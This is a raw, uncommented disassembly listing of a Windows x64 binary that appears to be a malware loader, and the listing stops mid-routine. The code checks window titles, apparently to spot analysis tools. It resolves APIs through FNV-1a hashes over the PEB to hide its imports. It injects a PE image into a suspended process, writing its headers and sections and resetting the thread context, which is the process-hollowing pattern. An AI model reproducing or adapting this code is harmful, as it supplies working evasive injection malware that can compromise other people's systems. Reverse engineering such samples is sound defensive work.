call fcn.14008bf00
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.1400606f0
mov ecx, r12d
call fcn.140004e30
mov rax, qword [0x140210780]
movsd xmm1, qword [rax + 0x1c88]
movss xmm0, dword [0x14021077c]
cvtps2pd xmm0, xmm0
subsd xmm1, xmm0
comisd xmm1, xmmword [0x1401cb4f8]
jb 0x140081c6b
lea rcx, [rbp + 0x1a]
call fcn.140087110
mov rcx, rax
call fcn.14008bed0
mov qword [rbp + 0xb00], rax
lea rcx, [rbp + 0x1b]
call fcn.140087180
mov rcx, rax
call fcn.14008be90
mov qword [rbp + 0xb08], rax
lea rcx, [rbp + 0x1c]
call fcn.1400871f0
mov rcx, rax
call fcn.14008be60
mov qword [rbp + 0xb10], rax
xor r14b, r14b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
je 0x14007b3ca
nop
mov r8d, 0x100
lea rdx, [rbp + 0x3bc0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r8d, 0x100
lea rdx, [rbp + 0x3bc0]
lea rcx, [rbp + 0x3cc0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbp + rdi*8 + 0xb00]
lea rcx, [rbp + 0x21c8]
call fcn.140090c30
nop
lea rdx, [rbp + 0x3cc0]
lea rcx, [rbp + 0x21e8]
call fcn.140090c30
nop
lea rdx, [rbp + 0x21c8]
lea rcx, [rbp + 0x21e8]
call fcn.140056360
movzx ebx, al
lea rcx, [rbp + 0x21e8]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x21c8]
call fcn.140090bf0
test bl, bl
je 0x14007b3a4
inc rdi
cmp rdi, 3
jl 0x14007b330
lea rcx, [rbp + 0x3cc0]
call fcn.140063510
mov r14b, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
jne 0x14007b2f0
test r14b, r14b
jne 0x14007b744
lea rcx, [rbp + 0x1d]
call fcn.140087250
mov rcx, rax
call fcn.14008be30
mov qword [rbp + 0xb18], rax
lea rcx, [rbp + 0x1e]
call fcn.1400872c0
mov rcx, rax
call fcn.14008bdf0
mov qword [rbp + 0xb20], rax
lea rcx, [rbp + 0x1f]
call fcn.140087330
mov rcx, rax
call fcn.14008bdc0
mov qword [rbp + 0xb28], rax
xor r14b, r14b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
je 0x14007b51a
nop dword [rax]
nop word [rax + rax]
mov r8d, 0x100
lea rdx, [rbp + 0x3dc0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r8d, 0x100
lea rdx, [rbp + 0x3dc0]
lea rcx, [rbp + 0x3ec0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbp + rdi*8 + 0xb18]
lea rcx, [rbp + 0x2208]
call fcn.140090c30
nop
lea rdx, [rbp + 0x3ec0]
lea rcx, [rbp + 0x2228]
call fcn.140090c30
nop
lea rdx, [rbp + 0x2208]
lea rcx, [rbp + 0x2228]
call fcn.140056360
movzx ebx, al
lea rcx, [rbp + 0x2228]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x2208]
call fcn.140090bf0
test bl, bl
je 0x14007b4f4
inc rdi
cmp rdi, 3
jl 0x14007b480
lea rcx, [rbp + 0x3ec0]
call fcn.140064980
mov r14b, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
jne 0x14007b440
test r14b, r14b
jne 0x14007b744
lea rcx, [rbp + 0x20]
call fcn.140087390
mov rcx, rax
call fcn.14008bd90
mov qword [rbp + 0xb30], rax
lea rcx, [rbp + 0x21]
call fcn.140087400
mov rcx, rax
call fcn.14008bd50
mov qword [rbp + 0xb38], rax
lea rcx, [rbp + 0x22]
call fcn.140087470
mov rcx, rax
call fcn.14008bd20
mov qword [rbp + 0xb40], rax
xor r14b, r14b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
je 0x14007b66a
nop dword [rax]
nop word [rax + rax]
mov r8d, 0x100
lea rdx, [rbp + 0x3fc0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r8d, 0x100
lea rdx, [rbp + 0x3fc0]
lea rcx, [rbp + 0x40c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [rbp + rdi*8 + 0xb30]
lea rcx, [rbp + 0x2248]
call fcn.140090c30
nop
lea rdx, [rbp + 0x40c0]
lea rcx, [rbp + 0x2268]
call fcn.140090c30
nop
lea rdx, [rbp + 0x2248]
lea rcx, [rbp + 0x2268]
call fcn.140056360
movzx ebx, al
lea rcx, [rbp + 0x2268]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x2248]
call fcn.140090bf0
test bl, bl
je 0x14007b644
inc rdi
cmp rdi, 3
jl 0x14007b5d0
lea rcx, [rbp + 0x40c0]
call fcn.1400684a0
mov r14b, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
test rax, rax
jne 0x14007b590
test r14b, r14b
jne 0x14007b744
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007b6f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007b6f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x59341a5d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007b6f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007b6d0
cmp r8d, 0x32a3263c
je 0x14007b6fb
test r9d, r9d
jne 0x14007b6b0
mov rax, qword [rax]
jmp 0x14007b680
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x23]
call fcn.140087590
mov rcx, rax
call fcn.14008bca0
mov rbx, rax
lea rcx, [rbp + 0x24]
call fcn.1400874d0
mov rcx, rax
call fcn.14008bcd0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov rax, qword [0x140214480]
cmp byte [rax + 0x2c], 1
jne 0x140081c6b
cmp byte [rax + 0x29], 1
jne 0x14007c20c
lea rcx, [rbp + 0x2cd8]
call fcn.140090c70
nop
lea rcx, [rbp + 0x25]
call fcn.1400875f0
mov rcx, rax
call fcn.14008bc70
mov rdx, rax
lea rcx, [rbp + 0x2cd8]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x29a0]
call fcn.140062500
lea rdx, [rbp + 0x2cd8]
lea rcx, [rbp + 0x2288]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x29a0]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x29a0]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2670], xmm0
mov qword [rbp + 0x2680], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x3140], xmm1
movups xmmword [rbp + 0x3150], xmm1
movups xmmword [rbp + 0x3160], xmm1
movups xmmword [rbp + 0x3170], xmm1
movups xmmword [rbp + 0x3180], xmm1
movups xmmword [rbp + 0x3190], xmm1
mov qword [rbp + 0x31a0], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x14007c1ec
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007b8c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007b8c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x646c8147
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007b8c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007b8a0
cmp r8d, 0xd5c8b997
je 0x14007b8cb
test r9d, r9d
jne 0x14007b880
mov rax, qword [rax]
jmp 0x14007b850
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x50a0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007b986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007b986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x957b30f2
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007b981
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007b960
cmp r8d, 0xbefb1dee
je 0x14007b98b
test r9d, r9d
jne 0x14007b940
mov rax, qword [rax]
jmp 0x14007b910
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2670]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3140]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x50a0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007c1ec
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007ba76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007ba76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x43be859c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ba71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ba50
cmp r8d, 0x18a76c64
je 0x14007ba7b
test r9d, r9d
jne 0x14007ba30
mov rax, qword [rax]
jmp 0x14007ba00
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bb46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bb46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xf0d62088
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007bb41
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007bb20
cmp r8d, 0xcb9d8cf
je 0x14007bb4b
test r9d, r9d
jne 0x14007bb00
mov rcx, qword [rcx]
jmp 0x14007bad0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2678]
call r8
test eax, eax
je 0x14007c08b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007bc06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bc06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x8264009a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bc01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bbe0
cmp r8d, 0xbf1b0207
je 0x14007bc0b
test r9d, r9d
jne 0x14007bbc0
mov rax, qword [rax]
jmp 0x14007bb90
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x2670]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007bcd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bcd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0xd078262c
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14007bcd1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14007bcb0
cmp r8d, 0xa55615b3
je 0x14007bcdb
test r9d, r9d
jne 0x14007bc90
mov rcx, qword [rcx]
jmp 0x14007bc60
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x2670]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x14007bf09
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007bdc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bdc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x16ae0b2b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bdc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bda0
cmp r8d, 0x50e7110c
je 0x14007bdcb
test r9d, r9d
jne 0x14007bd80
mov rax, qword [rax]
jmp 0x14007bd50
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x2670]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007bea6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bea6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x82394a08
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bea1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007be80
cmp r8d, 0xb1efc607
je 0x14007beab
test r9d, r9d
jne 0x14007be60
mov rax, qword [rax]
jmp 0x14007be30
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x2670]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x14007bd30
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007bfa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007bfa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x12fde026
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007bfa1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007bf80
cmp r8d, 0x291b77f5
je 0x14007bfab
test r9d, r9d
jne 0x14007bf60
mov rax, qword [rax]
jmp 0x14007bf30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2678]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c066
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c066
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa248dcc6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c061
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c040
cmp r8d, 0x7aa48b5
je 0x14007c06b
test r9d, r9d
jne 0x14007c020
mov rax, qword [rax]
jmp 0x14007bff0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2678]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c116
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c116
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9a2c43f1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c111
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c0f0
cmp r8d, 0xdd5019d1
je 0x14007c11b
test r9d, r9d
jne 0x14007c0d0
mov rax, qword [rax]
jmp 0x14007c0a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2670]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c1c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c1c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5ebbc105
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c1c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c1a0
cmp r8d, 0xbe290aa5
je 0x14007c1cb
test r9d, r9d
jne 0x14007c180
mov rax, qword [rax]
jmp 0x14007c150
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2678]
call rdx
nop
lea rcx, [rbp + 0x29a0]
call fcn.140090180
nop
lea rcx, [rbp + 0x2cd8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2a], 1
jne 0x14007cccc
lea rcx, [rbp + 0x2cb8]
call fcn.140090c70
nop
lea rcx, [rbp + 0x26]
call fcn.140087650
mov rcx, rax
call fcn.14008bc40
mov rdx, rax
lea rcx, [rbp + 0x2cb8]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2988]
call fcn.140062500
lea rdx, [rbp + 0x2cb8]
lea rcx, [rbp + 0x22a8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2988]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2988]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2688], xmm0
mov qword [rbp + 0x2698], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x31b0], xmm1
movups xmmword [rbp + 0x31c0], xmm1
movups xmmword [rbp + 0x31d0], xmm1
movups xmmword [rbp + 0x31e0], xmm1
movups xmmword [rbp + 0x31f0], xmm1
movups xmmword [rbp + 0x3200], xmm1
mov qword [rbp + 0x3210], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x14007ccac
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14007c386
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c386
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf9225f18
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c381
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c360
cmp r8d, 0x7ac77a00
je 0x14007c38b
test r9d, r9d
jne 0x14007c340
mov rax, qword [rax]
jmp 0x14007c310
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x51b0]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007c446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xbc4067d5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c441
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c420
cmp r8d, 0xea2059d9
je 0x14007c44b
test r9d, r9d
jne 0x14007c400
mov rax, qword [rax]
jmp 0x14007c3d0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x2688]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x31b0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x51b0]
xor ecx, ecx
call r10
test eax, eax
je 0x14007ccac
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x14007c536
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14007c536
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
